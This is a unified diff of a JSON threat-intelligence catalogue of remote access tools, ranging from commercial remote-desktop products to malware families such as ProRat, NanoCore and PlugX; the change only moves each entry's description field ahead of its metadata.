},
{
+ "description": "Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions",
"meta": {
"date": "2010",
"refs": [
@@ -665,8 +671,7 @@
]
},
"uuid": "66bfd62e-6626-4104-af37-a44244204ac8",
- "value": "Spynet",
- "description": "Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions"
+ "value": "Spynet"
},
{
"meta": {
@@ -696,24 +701,24 @@
"value": "Atelier Web Remote Commander"
},
{
+ "description": "A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev",
"meta": {
"refs": [
"https://github.com/chrismattmann/drat"
]
},
"uuid": "5ee39172-7ba3-477c-9772-88841b4be691",
- "value": "drat",
- "description": "A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev"
+ "value": "drat"
},
{
+ "description": "MoSucker is a powerful backdoor - hacker's remote access tool.",
"meta": {
"refs": [
"https://www.f-secure.com/v-descs/mosuck.shtml"
]
},
"uuid": "611ed43b-b869-4419-a487-6f7393125eb3",
- "value": "MoSucker",
- "description": "MoSucker is a powerful backdoor - hacker's remote access tool."
+ "value": "MoSucker"
},
{
"meta": {
@@ -728,6 +733,7 @@
"value": "Theef"
},
{
+ "description": "ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled). ",
"meta": {
"date": "2002",
"refs": [
@@ -736,8 +742,7 @@
]
},
"uuid": "cae67963-63d2-4c8b-8358-a03556f20b7b",
- "value": "ProRat",
- "description": "ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled). "
+ "value": "ProRat"
},
{
"meta": {
@@ -830,6 +835,7 @@
"value": "DarkTrack"
},
{
+ "description": "Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).",
"meta": {
"date": "2017",
"refs": [
@@ -837,8 +843,7 @@
]
},
"uuid": "509aff15-ba17-4582-b1a0-b0ed89df01d8",
- "value": "xRAT",
- "description": "Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0)."
+ "value": "xRAT"
},
{
"meta": {
@@ -850,14 +855,14 @@
"value": "Biodox"
},
{
+ "description": "Offense RAT is a free renote administration tool made in Delphi 9.",
"meta": {
"refs": [
"https://leakforums.net/thread-31386?tid=31386&&pq=1"
]
},
"uuid": "a9caa398-ba8b-4a64-8970-67761c7efc76",
- "value": "Offence",
- "description": "Offense RAT is a free renote administration tool made in Delphi 9."
+ "value": "Offence"
},
{
"meta": {
@@ -880,6 +885,7 @@
"value": "JCage"
},
{
+ "description": "Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).",
"meta": {
"refs": [
"http://malware.wikia.com/wiki/Nuclear_RAT",
@@ -887,18 +893,17 @@
]
},
"uuid": "1b0f4481-f205-493a-a167-59669a64b6fc",
- "value": "Nuclear RAT",
- "description": "Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003)."
+ "value": "Nuclear RAT"
},
{
+ "description": "C++ REMOTE CONTROL PROGRAM",
"meta": {
"refs": [
"http://ozonercp.com/"
]
},
"uuid": "1a4d6958-45fe-41ca-b545-bdf28fba14fa",
- "value": "Ozone",
- "description": "C++ REMOTE CONTROL PROGRAM"
+ "value": "Ozone"
},
{
"meta": {
@@ -930,6 +935,7 @@
"value": "Xpert"
},
{
+ "description": "This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.",
"meta": {
"refs": [
"https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off"
@@ -939,8 +945,7 @@
]
},
"uuid": "c01ef312-dfd6-403f-a8b5-67fc11a550a7",
- "value": "Kiler RAT",
- "description": "This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world."
+ "value": "Kiler RAT"
},
{
"uuid": "7109e2b0-8c05-4d2b-a37f-c00d799f0c02",
@@ -951,6 +956,7 @@
"value": "MINI-MO"
},
{
+ "description": "Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.",
"meta": {
"date": "2010",
"refs": [
@@ -963,18 +969,17 @@
]
},
"uuid": "8007f2be-ba4f-445e-8a15-6c2bfe769c49",
- "value": "Lost Door",
- "description": "Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks."
+ "value": "Lost Door"
},
{
+ "description": "Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.",
"meta": {
"refs": [
"https://www.rekings.com/loki-rat-php-rat/"
]
},
"uuid": "70e6875b-34b5-4f97-8403-210defbc040d",
- "value": "Loki RAT",
- "description": "Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial."
+ "value": "Loki RAT"
},
{
"meta": {
@@ -997,6 +1002,7 @@
"value": "SpyCronic"
},
{
+ "description": "Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python ",
"meta": {
"date": "2015",
"refs": [
@@ -1004,10 +1010,10 @@
]
},
"uuid": "bdb420be-5882-41c8-b439-02bbef69d83f",
- "value": "Pupy",
- "description": "Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python "
+ "value": "Pupy"
},
{
+ "description": "Nova is a proof of concept demonstrating screen sharing over UDP hole punching.",
"meta": {
"date": "2002",
"refs": [
@@ -1015,8 +1021,7 @@
]
},
"uuid": "eea78fd1-11ae-432a-9422-d5e774eb8ff2",
- "value": "Nova",
- "description": "Nova is a proof of concept demonstrating screen sharing over UDP hole punching."
+ "value": "Nova"
},
{
"meta": {
@@ -1036,6 +1041,7 @@
"value": "BD Y3K RAT"
},
{
+ "description": "Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.",
"meta": {
"date": "2003",
"refs": [
@@ -1043,20 +1049,20 @@
]
},
"uuid": "29f7cf0f-b422-4966-9298-c8b4cb54deac",
- "value": "Turkojan",
- "description": "Turkojan is a remote administration and spying tool for Microsoft Windows operating systems."
+ "value": "Turkojan"
},
{
+ "description": "TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.",
"meta": {
"refs": [
"http://josh.com/tiny/"
]
},
"uuid": "c9fd50a0-35c8-4dfd-baeb-8043182e864c",
- "value": "TINY",
- "description": "TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one."
+ "value": "TINY"
},
{
+ "description": "sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.",
"meta": {
"date": "2008",
"refs": [
@@ -1069,10 +1075,10 @@
]
},
"uuid": "ff471870-7c9a-4122-ba89-489fc819660b",
- "value": "SharK",
- "description": "sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely."
+ "value": "SharK"
},
{
+ "description": "Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99"
@@ -1085,8 +1091,7 @@
]
},
"uuid": "ed4590cd-d636-46bc-a92d-d90b9548db51",
- "value": "Snowdoor",
- "description": "Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328."
+ "value": "Snowdoor"
},
{
"meta": {
@@ -1098,14 +1103,14 @@
"value": "Paradox"
},
{
+ "description": "Android RAT",
"meta": {
"refs": [
"https://www.rekings.com/spynote-v4-android-rat/"
]
},
"uuid": "ea727e26-b3de-44f8-86c5-11a912c7a8aa",
- "value": "SpyNote",
- "description": "Android RAT"
+ "value": "SpyNote"
},
{
"uuid": "b7b6db54-db6a-463c-a2a2-3a0da1f7fe32",
@@ -1116,16 +1121,17 @@
"value": "HTTP WEB BACKDOOR"
},
{
+ "description": "Net Monitor for Employees lets you see what everyone's doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.",
"meta": {
"refs": [
"https://networklookout.com/help/"
]
},
"uuid": "376671ff-2131-4150-b1f4-7870f6adf8ae",
- "value": "NET-MONITOR PRO",
- "description": "Net Monitor for Employees lets you see what everyone's doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier."
+ "value": "NET-MONITOR PRO"
},
{
+ "description": "Affordable remote control software for all your customer support and help desk needs.",
"meta": {
"refs": [
"http://www.dameware.com/dameware-mini-remote-control"
@@ -1135,20 +1141,20 @@
]
},
"uuid": "ba157c90-8f94-45f2-8395-001e76eee506",
- "value": "DameWare Mini Remote Control",
- "description": "Affordable remote control software for all your customer support and help desk needs."
+ "value": "DameWare Mini Remote Control"
},
{
+ "description": "Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an \"Internet ID.\" You can control a total of 10 PCs with Remote Utilities.",
"meta": {
"refs": [
"https://www.remoteutilities.com/"
]
},
"uuid": "903846e2-5fa7-42c9-98bf-00d05473c9e3",
- "value": "Remote Utilities",
- "description": "Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an \"Internet ID.\" You can control a total of 10 PCs with Remote Utilities."
+ "value": "Remote Utilities"
},
{
+ "description": "Ammyy Admin is a completely portable remote access program that's extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.",
"meta": {
"date": "2011",
"refs": [
@@ -1159,45 +1165,45 @@
]
},
"uuid": "9025f09b-a3fe-4711-89b8-bee6037681f8",
- "value": "Ammyy Admin",
- "description": "Ammyy Admin is a completely portable remote access program that's extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program."
+ "value": "Ammyy Admin"
},
{
+ "description": "UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.",
"meta": {
"refs": [
"http://www.uvnc.com/"
]
},
"uuid": "12f03025-467b-49b3-ba7b-2a152e38eae5",
- "value": "Ultra VNC",
- "description": "UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server."
+ "value": "Ultra VNC"
},
{
+ "description": "AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.",
"meta": {
"refs": [
"http://www.aeroadmin.com/en/"
]
},
"uuid": "6dd8f7ac-a90b-4155-843d-b95f1f4e0e81",
- "value": "AeroAdmin",
- "description": "AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support."
+ "value": "AeroAdmin"
},
{
+ "description": "Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.",
"uuid": "07c792c4-2f78-4eba-a6a3-3ba28e098886",
- "value": "Windows Remote Desktop",
- "description": "Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program."
+ "value": "Windows Remote Desktop"
},
{
+ "description": "RemotePC, for good or bad, is a more simple free remote desktop program. You're only allowed one connection (unless you upgrade) but for many of you, that'll be just fine.",
"meta": {
"refs": [
"https://www.remotepc.com/"
]
},
"uuid": "e4ae4f4e-a751-4633-a54e-c747508ff3b8",
- "value": "RemotePC",
- "description": "RemotePC, for good or bad, is a more simple free remote desktop program. You're only allowed one connection (unless you upgrade) but for many of you, that'll be just fine."
+ "value": "RemotePC"
},
{
+ "description": "Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.",
"meta": {
"refs": [
"http://seecreen.com/"
@@ -1207,94 +1213,94 @@
]
},
"uuid": "b9df1fb3-17b7-430b-8c23-f1d321c1265c",
- "value": "Seecreen",
- "description": "Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support."
+ "value": "Seecreen"
},
{
+ "description": "Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.",
"meta": {
"refs": [
"https://chrome.google.com/webstore/detail/chrome-remote-desktop/gbchcmhmhahfdphkhkmpfmihenigjmpp?hl=en"
]
},
"uuid": "6583d982-a5cb-47e0-a3b0-bc18cadaeb53",
- "value": "Chrome Remote Desktop",
- "description": "Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser."
+ "value": "Chrome Remote Desktop"
},
{
+ "description": "AnyDesk is a remote desktop program that you can run portably or install like a regular program.",
"meta": {
"refs": [
"https://anydesk.com/remote-desktop"
]
},
"uuid": "7d71d21e-68f0-4595-beee-7c353471463d",
- "value": "AnyDesk",
- "description": "AnyDesk is a remote desktop program that you can run portably or install like a regular program."
+ "value": "AnyDesk"
},
{
+ "description": "LiteManager is another remote access program, and it's strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.",
"meta": {
"refs": [
"http://www.litemanager.com/"
]
},
"uuid": "0c8a877b-6c9c-43a7-9688-d90a098d8710",
- "value": "LiteManager",
- "description": "LiteManager is another remote access program, and it's strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features."
+ "value": "LiteManager"
},
{
+ "description": "Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.",
"meta": {
"refs": [
"https://www.comodo.com/home/download/download.php?prod=comodounite"
]
},
"uuid": "9b990bc7-ff88-4658-90de-806711462c55",
- "value": "Comodo Unite",
- "description": "Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software."
+ "value": "Comodo Unite"
},
{
+ "description": "ShowMyPC is a portable and free remote access program that's nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.",
"meta": {
"refs": [
"https://showmypc.com/"
]
},
"uuid": "185adc84-ad02-4559-aacc-50b2d690640c",
- "value": "ShowMyPC",
- "description": "ShowMyPC is a portable and free remote access program that's nearly identical to UltraVNC but uses a password to make a connection instead of an IP address."
+ "value": "ShowMyPC"
},
{
+ "description": "join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.",
"meta": {
"refs": [
"https://www.join.me/"
]
},
"uuid": "204b457d-9729-460b-991b-943171c55fa7",
- "value": "join.me",
- "description": "join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser."
+ "value": "join.me"
},
{
+ "description": "DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.",
"meta": {
"refs": [
"http://www.nchsoftware.com/remotedesktop/index.html"
]
},
"uuid": "82a2bcba-0f31-4a45-bddb-559db9819fad",
- "value": "DesktopNow",
- "description": "DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser."
+ "value": "DesktopNow"
},
{
+ "description": "Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter's screen.",
"meta": {
"refs": [
"http://www.beamyourscreen.com/"
]
},
"uuid": "a31bf7d6-70a9-4f5f-a38e-88e173ad444c",
- "value": "BeamYourScreen",
- "description": "Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter's screen."
+ "value": "BeamYourScreen"
},
{
"uuid": "ef164438-e4bd-4c56-a8e6-e5e64bc8dd5a",
"value": "Casa RAT"
},
{
+ "description": "Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features",
"meta": {
"date": "2005",
"refs": [
@@ -1302,8 +1308,7 @@
]
},
"uuid": "3482922d-b58c-482f-8363-f63f52fcdb43",
- "value": "Bandook RAT",
- "description": "Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features"
+ "value": "Bandook RAT"
},
{
"meta": {
@@ -1323,6 +1328,7 @@
"value": "Syndrome RAT"
},
{
+ "description": "Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.",
"meta": {
"date": "2002",
"refs": [
@@ -1330,8 +1336,7 @@
]
},
"uuid": "fffbcd87-f028-4c4a-9e94-312e4e954450",
- "value": "Snoopy",
- "description": "Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet."
+ "value": "Snoopy"
},
{
"meta": {
@@ -1358,26 +1363,27 @@
"value": "xHacker Pro RAT"
},
{
+ "description": "Backdoor.NetDevil allows a hacker to remotely control an infected computer.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99"
]
},
"uuid": "281563d8-14f8-43a8-a0cb-2f0198f7146c",
- "value": "NetDevil",
- "description": "Backdoor.NetDevil allows a hacker to remotely control an infected computer."
+ "value": "NetDevil"
},
{
+ "description": "In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports.\nDigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.",
"meta": {
"refs": [
"https://www.digitrustgroup.com/nanocore-not-your-average-rat/"
]
},
"uuid": "6c3c111a-93af-428a-bee0-feacbee0237d",
- "value": "NanoCore",
- "description": "In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports.\nDigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan."
+ "value": "NanoCore"
},
{
+ "description": "The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family",
"meta": {
"date": "2017",
"refs": [
@@ -1385,10 +1391,10 @@
]
},
"uuid": "8c49da10-2b59-42c4-81e6-75556decdecb",
- "value": "Cobian RAT",
- "description": "The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family"
+ "value": "Cobian RAT"
},
{
+ "description": "NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.",
"meta": {
"date": "1989",
"refs": [
@@ -1396,8 +1402,7 @@
]
},
"uuid": "d6fe0674-f55b-46ea-bf87-78fa0fa6ac97",
- "value": "Netsupport Manager",
- "description": "NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly."
+ "value": "Netsupport Manager"
},
{
"meta": {
@@ -1501,6 +1506,7 @@
"value": "Toquito Bandito"
},
{
+ "description": "MofoTro is a new rat coded by Cool_mofo_2.",
"meta": {
"date": "2006",
"refs": [
@@ -1510,10 +1516,10 @@
]
},
"uuid": "fa0a7929-3876-4866-9c01-a5d168379816",
- "value": "MofoTro",
- "description": "MofoTro is a new rat coded by Cool_mofo_2."
+ "value": "MofoTro"
},
{
+ "description": "Written in Delphi",
"meta": {
"date": "2007",
"refs": [
@@ -1521,10 +1527,10 @@
]
},
"uuid": "3a2176f2-138d-4939-958c-70992abddca3",
- "value": "Hav-RAT",
- "description": "Written in Delphi"
+ "value": "Hav-RAT"
},
{
+ "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.",
"meta": {
"date": "2007",
"refs": [
@@ -1532,10 +1538,10 @@
]
},
"uuid": "9223bf17-7e32-4833-9574-9ffd8c929765",
- "value": "ComRAT",
- "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla."
+ "value": "ComRAT"
},
{
+ "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.",
"meta": {
"date": "2007",
"refs": [
@@ -1543,10 +1549,10 @@
]
},
"uuid": "d8aad68d-a68f-42e1-b755-d5f383b73401",
- "value": "4H RAT",
- "description": "4H RAT is malware that has been used by Putter Panda since at least 2007."
+ "value": "4H RAT"
},
{
+ "description": "",
"meta": {
"date": "2007",
"refs": [
@@ -1557,8 +1563,7 @@
]
},
"uuid": "ba285e93-d330-4efc-ad00-a84433575e2c",
- "value": "Darknet RAT",
- "description": ""
+ "value": "Darknet RAT"
},
{
"meta": {
@@ -1589,6 +1594,7 @@
"value": "Pain RAT"
},
{
+ "description": "PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.",
"meta": {
"date": "2005 or 2008",
"refs": [
@@ -1600,10 +1606,10 @@
]
},
"uuid": "663f8ef9-4c50-499a-b765-f377d23c1070",
- "value": "PlugX",
- "description": "PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008."
+ "value": "PlugX"
},
{
+ "description": "The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.",
"meta": {
"date": "2008",
"refs": [
@@ -1612,10 +1618,10 @@
]
},
"uuid": "41d4b98f-8ec2-4e8d-938c-42a776b422ee",
- "value": "UNITEDRAKE",
- "description": "The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden."
+ "value": "UNITEDRAKE"
},
{
+ "description": "Written in Visual Basic",
"meta": {
"date": "2008",
"refs": [
@@ -1623,8 +1629,7 @@
]
},
"uuid": "4c053709-5349-4630-8462-dde28c8433eb",
- "value": "MegaTrojan",
- "description": "Written in Visual Basic"
+ "value": "MegaTrojan"
},
{
"meta": {
@@ -1716,6 +1721,7 @@
"value": "Archelaus Beta"
},
{
+ "description": "C# RAT (Remote Adminitration Tool) - Educational purposes only",
"meta": {
"date": "2011",
"refs": [
@@ -1723,8 +1729,7 @@
]
},
"uuid": "2ea1f494-cf18-49fb-a043-36555131dd7c",
- "value": "BlackHole",
- "description": "C# RAT (Remote Adminitration Tool) - Educational purposes only"
+ "value": "BlackHole"
},
{
"meta": {
@@ -1747,6 +1752,7 @@
"value": "Ahtapod"
},
{
+ "description": "Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.",
"meta": {
"date": "2012",
"refs": [
@@ -1754,10 +1760,10 @@
]
},
"uuid": "6ac125c8-6f00-490f-a43b-30b36d715431",
- "value": "FINSPY",
- "description": "Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage."
+ "value": "FINSPY"
},
{
+ "description": "Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.",
"meta": {
"date": "2004 or 2011",
"refs": [
@@ -1765,8 +1771,7 @@
]
},
"uuid": "4c0ec00c-7fd4-4d8b-b1c9-6a12035fe992",
- "value": "Seed RAT",
- "description": "Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger."
+ "value": "Seed RAT"
},
{
"meta": {
@@ -1817,6 +1822,7 @@
"value": "Syla"
},
{
+ "description": "Cobalt Strike is software for Adversary Simulations and Red Team Operations.",
"meta": {
"date": "2012",
"refs": [
@@ -1824,10 +1830,10 @@
]
},
"uuid": "ca44dd5e-fd9e-48b5-99cb-0b2629b9265f",
- "value": "Cobalt Strike",
- "description": "Cobalt Strike is software for Adversary Simulations and Red Team Operations."
+ "value": "Cobalt Strike"
},
{
+ "description": "The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.",
"meta": {
"date": "2012",
"refs": [
@@ -1839,10 +1845,10 @@
]
},
"uuid": "3eca2d5f-41bf-4ad4-847f-df18befcdc44",
- "value": "Sakula",
- "description": "The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components."
+ "value": "Sakula"
},
{
+ "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.",
"meta": {
"date": "2012",
"refs": [
@@ -1850,8 +1856,7 @@
]
},
"uuid": "12bb8f4f-af29-49a0-8c2c-d28468f28fd8",
- "value": "hcdLoader",
- "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18."
+ "value": "hcdLoader"
},
{
"meta": {
@@ -1931,6 +1936,7 @@
"value": "BBS RAT"
},
{
+ "description": "KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.",
"meta": {
"refs": [
"https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant",
@@ -1943,10 +1949,10 @@
]
},
"uuid": "5b930a23-7d88-481f-8791-abc7b3dd93d2",
- "value": "Konni",
- "description": "KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look."
+ "value": "Konni"
},
{
+ "description": "Used by Sowbug",
"meta": {
"date": "2014",
"refs": [
@@ -1954,10 +1960,10 @@
]
},
"uuid": "1a35d040-1e0e-402b-8174-43e5c3c81922",
- "value": "Felismus RAT",
- "description": "Used by Sowbug"
+ "value": "Felismus RAT"
},
{
+ "description": "Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user's device and executes remote commands as directed by its command-and-control (C2) server.",
"meta": {
"date": "2014",
"refs": [
@@ -1969,10 +1975,10 @@
]
},
